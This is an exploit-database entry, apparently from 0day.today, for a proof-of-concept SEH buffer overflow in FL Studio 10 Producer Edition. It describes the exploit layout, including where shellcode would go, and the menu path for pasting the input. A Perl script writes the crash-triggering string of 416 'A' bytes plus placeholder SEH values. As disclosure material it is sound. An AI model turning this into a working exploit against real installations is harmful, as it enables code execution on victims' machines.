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FL Studio 10 Producer Edition SEH Based Buffer Overflow PoC
[# Title : FL Studio 10 Producer Edition - SEH Based Buffer Overflow PoC # Author : Dark-Puzzle (Souhail Hammou) # Type : PoC # Risk : High # Vendor : Image Line: http://www.image-line.com/downloads/flstudiodownload.html # Versions : 10 Producer Edition (Other Versions May be Vulnerable). # Tested On : Windows 7 64-bits . # Date : 8 October 2012 ----------------------------------------- ----------------------------------------- # Gr337ings to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ... # Fl Studio is Prone to a SEH based Buffer Overflow which allows attacker to execute arbitary code on the victim's machine . # To trigger the vulnerability the attacker must fake the "Browser Extra search folder" path & paste the input released from this PoC . # Looking a little bit deeper in the stack & in the EBP register we will see that the software will try to create a file named e.g. BBBBCCCC.NFO # Then the EIP is overwritten with the SEH address . # The Exploit will look like this : [Junk "A" x 416] [6 Bytes Jump + 2Nops ] [p/p/r address or other] [Shellcode] . # Go to Options ---> File Settings ---> Choose File In the left column ---> Paste the input in Browser Extra Search Folder ---> Press Enter ---> and close the window . # == Crash Triggered + Seh Overwritten . #Images : #1st : http://s7.postimage.org/ubgogmjmz/image.png #2nd : http://s7.postimage.org/yymqie6zv/image.png #3rd : http://s7.postimage.org/3p47rnffv/image.png my $As = "\x41" x 416 ; my $pnseh = "\x42\x42\x42\x42"; my $seh = "\x43\x43\x43\x43"; my $input = $As.$pnseh.$seh; open(myfile,'>input.txt'); print myfile $input; close(myfile); print "FL Studio 10 Producer Edition SEH Based Overflow\n"; print "\x44\x69\x73\x63\x6F\x76\x65\x72\x65\x64\x20\x26\x20\x50\x6F\x43\x20\x42\x79\x20\x44\x61\x72\x6B\x2D\x50\x75\x7A\x7A\x6C\x65\n"; print "Creating PoC Input\n"; sleep 5; print $input ; # 0day.today [2024-11-16] #